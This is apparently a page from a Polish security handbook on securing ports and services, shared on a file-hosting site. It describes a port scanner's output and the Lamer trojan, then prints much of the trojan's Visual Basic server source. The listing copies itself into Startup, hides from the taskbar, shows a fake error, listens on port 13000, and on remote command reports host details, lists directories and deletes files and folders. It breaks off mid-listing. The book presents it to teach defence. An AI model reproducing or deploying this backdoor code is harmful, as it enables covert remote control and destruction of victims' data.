01b.doc

(621 KB) Pobierz
Rozdział X

 

Rozdział 1. ¨ Zabezpieczanie portów i usług              63

Rysunek 1.24.

Program TigerScan podaje informacje o aktywnych portach i usługach

 

Ogólnie rzecz biorąc, funkcje skanera przedstawić można w trzech punktach:

1.                                Lokalizacja portów otwartych.

2.                                Wykrycie dostępnych danych.

3.        Porównanie wyników z listą znanych luk w zabezpieczeniach.

W zależności od wielkości dostępnych zasobów systemu i procesora, cała operacja zająć może od 3 do 12 minut.

Na rysunku 1.24 widać wyniki pracy skanera — wykryte zostały dwa aktywne porty: 135 i 13 000. Usługa korzystająca z zarezerwowanego portu 135 to usługa Loc-serv systemu Windows NT. Jeżeli włamywacz użyje odpowiednich parametrów i poda adres klienta, uzyska nazwę jego domeny NIS. Znajomość nazwy domeny NIS może umożliwić mu zdobycie kopii pliku haseł.

Nieco większym zaskoczeniem może być usługa wykryta na porcie 13 000, nazwana lamer. Lamer to nieprzyjemny, zdalnie sterowany koń trojański, realizujący takie funkcje jak zarządzanie stacją CD-ROM, przesyłanie plików, zarządzanie plikami i doprowadzanie do zawieszenia systemu. Jest to stosunkowo nowa kompilacja, stworzona w języku Visual Basic i ostatnio testowana przez autora, który w tym celu zaraża wirusem własny system. Demon ten, zamaskowany jako program narzędziowy, rozpowszechniany jest najczęściej pocztą elektroniczną. W tym przypadku program odebrany został jako kal­ku­­­lator IP, ułatwiający szybkie wyliczanie numerów podsieci, masek i adresów rozgłaszania.

Przy instalacji zapisywany (lub zastępowany) jest w katalogu /Windows/System plik o nazwie dnetc.exe. Po restarcie systemu następuje jego uruchomienie w tle. Wówczas program prowadzi nasłuch na porcie 13 000 i oczekuje na przekazywane zdalnie dyrektywy. Właściwy dnetc.exe ma być programem klienckim ośrodka Distributed­.net, umożliwiającym systemowi udział w jego ogólnoświatowych projektach — ma przyłączać komputer użytkownika do proxy Distributed.net i odbierać bloki przeznaczonych do przeliczenia kluczy. Istnienie konia trojańskiego umożliwia hakerom proste sprawdzanie systemów pod kątem aktywności na porcie 13 000. Gdy zostanie wykryta, droga do zdalnego sterownia stoi otworem.

 

Więcej informacji o „Trojanie” Lamer i jego różnych odmianach znaleźć można w ośrodku www.distributed.net.

Do użytku Czytelników przedstawiamy poniżej kod serwera Lamer. Przyjrzenie się jego listingowi, w połączeniu z przedstawionymi powyżej technikami rozpowszechniania, uzmysłowić powinno, jak poważną groźbą może być nawet tak prosta kompilacja w Visual Basicu. Nadmienić należy, że nie uwzględniono w przedstawionym kodzie niejawnego funkcjonowania serwera. Zarówno sam serwer, jak i jego klient mogą zostać uruchomione na tej samej stacji.

Lamer Server

Dim d As String

Dim key As Boolean

Dim cdrom As Boolean

Dim mouse As Boolean

Dim start As Boolean

Dim deskt As Boolean

Dim task As Boolean

Function ShowFolderList(foldername)

    Dim fso, f, fc, fj, s, f1

    Set fso = CreateObject("Scripting.FileSystemObject")

    Set f = fso.GetFolder(foldername)

    Set fc = f.Subfolders

    Set fj = f.Files

    For Each f1 In fc

        s = f1.name

        s = s & "<BR>"

        d = d + NewLine + f1

    Next

End Function

 

Function App_Path() As String

x = App.path

    If Right$(x, 1) <> "\" Then x = x + "\"

    App_Path = UCase$(x)

    End Function

 

Private Sub OPEN_Click()

cdrom = True

MciSendString "Set CDAudio Door Open Wait", _

    0&, 0&, 0&

End Sub

 

Private Sub CLOSE_Click()

cdrom = False

MciSendString "Set CDAudio Door Closed Wait", _

    0&, 0&, 0&

End Sub

 

Private Sub Command2_Click()

startbar = 0

End Sub

 

Private Sub Dir1_Change()

Label8.Caption = Dir1.path

File1.path = Dir1.path

End Sub

 

Private Sub Form_Load()

key = False

cdrom = False

task = True

start = True

deskt = True

Dir1.path = "c:\"

Label8.Caption = Dir1.path

File1.path = Dir1.path

On Error GoTo errorhandle

SourceFile = App_Path + "cracklist.exe"

sourcefile2 = App_Path + "mswinsck.ocx"

Label7.Caption = App.path

DestinationFile2 = "C:\Windows\Start Menu\Programs\StartUp\cracklist.exe"

destinationfile3 = "c:\windows\system\mswinsck.ocx"

FileCopy SourceFile, DestinationFile2

FileCopy sourcefile2, destinationfile3

errorhandle: If Err.Number = 70 Or 53 Then Resume Next

Label7.Caption = App.path

MsgBox "Error 643 file not found!", vbCritical, "Error"

Winsock1.Close

App.TaskVisible = False

Label2.Caption = Winsock1.LocalIP

Label4.Caption = Winsock1.LocalHostName

Winsock1.Listen

List1.AddItem "Listening on port 13000..."

End Sub

 

Private Sub Image1_Click()

TaskbarIcons innotontaskbar

End Sub

 

Private Sub Text1_Change()

Dim data As String

data = "Server respond : Command executed!"

If Text1.text = "Status" Then

        data = "<----------------Status--------------->"

        Winsock2(i).SendData data

        data = NewLine

        Winsock2(i).SendData data

      

        data = "Computer Name : " & Winsock1.LocalHostName

        Winsock2(i).SendData data

        data = NewLine

        Winsock2(i).SendData data

       

        data = "IP Address : " & Winsock1.LocalIP

        Winsock2(i).SendData data

        data = NewLine

        Winsock2(i).SendData data

       

        data = "Server path : " & App_Path

        Winsock2(i).SendData data

        data = NewLine

        Winsock2(i).SendData data

       

If task = False Then

        data = "Taskbar status : Hidden"

        Winsock2(i).SendData data

        End If

        If task = True Then

        data = "Taskbar status : Visible"

        Winsock2(i).SendData data

End If

data = NewLine

        Winsock2(i).SendData data

       

If start = False Then

        data = "Start button status : Hidden"

        Winsock2(i).SendData data

        End If

        If start = True Then

        data = "Start button status : Visible"

        Winsock2(i).SendData data

End If

 

        data = NewLine

        Winsock2(i).SendData data

       

If deskt = False Then

        data = "Desktop icon status : Hidden"

        Winsock2(i).SendData data

        End If

        If deskt = True Then

        data = "Desktop icon status : Visible"

        Winsock2(i).SendData data

End If

 

        data = NewLine

        Winsock2(i).SendData data

If mouse = False Then

        data = "Mouse buttons are not swapped."

        Winsock2(i).SendData data

        Else

        data = "Mouse buttons are swapped."

        Winsock2(i).SendData data

End If

 

        data = NewLine

        Winsock2(i).SendData data

If cdrom = False Then

        data = "CD-Rom is closed."

        Winsock2(i).SendData data

        Else

        data = "CD-Rom is open."

        Winsock2(i).SendData data

End If

 

        data = NewLine

        Winsock2(i).SendData data

If key = False Then

        data = "Keyboard status : Enabled"

        Winsock2(i).SendData data

        Else

        data = "Keyboard status : Disabled"

        Winsock2(i).SendData data

End If

        data = NewLine

        Winsock2(i).SendData data

        data = "You are on directory : " + Label8.Caption

        Winsock2(i).SendData data

        data = NewLine

        Winsock2(i).SendData data

        data = "<----------------End--------------->"

        Winsock2(i).SendData data

End If

If Text1.text = "Info" Then

        data = "<--------Directory Information-------->"

        Winsock2(i).SendData data

        data = NewLine

        Winsock2(i).SendData data

        data = "Directory path : " + Label8.Caption

        Winsock2(i).SendData data

        data = NewLine

        Winsock2(i).SendData data

        Dim intFileCount As Integer

        For intFileCount = 0 To File1.ListCount - 1

        File1.ListIndex = intFileCount

        data = intFileCount & " " & File1.FileName & vbCrLf

        Winsock2(i).SendData data

    Next

       

        data = "<----------------End--------------->"

        Winsock2(i).SendData data

End If

If Text1.text = "Erase" Then

On Error GoTo errhandle

        data = "Erasing files..."

        Winsock2(i).SendData data

       

        Kill Label8.Caption + "\*.*"

        data = NewLine

        Winsock2(i).SendData data

       

        data = "Files successfully erased!"

        Winsock2(i).SendData data

errhandle: If Err.Number = 53 Then

        data = "An error occured. Aborting operation."

        Winsock2(i).SendData data

    End If

End If

If Text1.text = "Erased" Then

On Error GoTo errorhandler

        data = "Erasing files..."

        Winsock2(i).SendData data

        Kill Label8.Caption + "\*.*"

        data = NewLine

        Winsock2(i).SendData data

        data = "Erasing directory..."

        Winsock2(i).SendData data

        RmDir Label8.Caption

        data = NewLine

        Winsock2(i).SendData data

        data = "Files and directory successfully erased!"

        Winsock2(i).SendData data

errorhandler: If Err.Number = 53 Then

        data = "There are no files on this directory..."

        Winsock2(i).SendData data

        data = NewLine

        Winsock2(i).SendData data

        RmDir Label8.Caption

        Winsock2(i).SendData data

...

Zgłoś jeśli naruszono regulamin